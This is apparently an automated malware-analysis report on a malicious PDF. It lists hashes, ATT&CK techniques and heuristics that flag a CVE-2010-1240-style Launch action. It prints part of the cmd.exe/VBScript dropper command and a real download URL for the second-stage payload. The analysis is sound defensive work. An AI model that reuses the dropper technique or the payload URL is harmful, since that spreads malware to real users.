PDF malware analysis — malicious · 75420f894a155ccf

MALICIOUS

PDF

810 B

MD5: b5eda7ef7c9cb57b9d27613a0a2be85b SHA-1: 9f76e3327525c751845bdb89fe38c8df01835451 SHA-256: 75420f894a155ccf9a8c1be2ce220ef52b9a28321944c4e3ac88fbb3e89d83de

212 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.005 Visual Basic

The PDF file contains an embedded launch action that executes a command chain. This chain uses cmd.exe to construct and execute a VBScript dropper. The VBScript is designed to download and execute a second-stage payload from the URL http://188.95.159.18/phpbb/image1/tmp/m.vbs, indicating a downloader functionality.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 5

Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER

PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://188.95.159.18/phpbb/image1/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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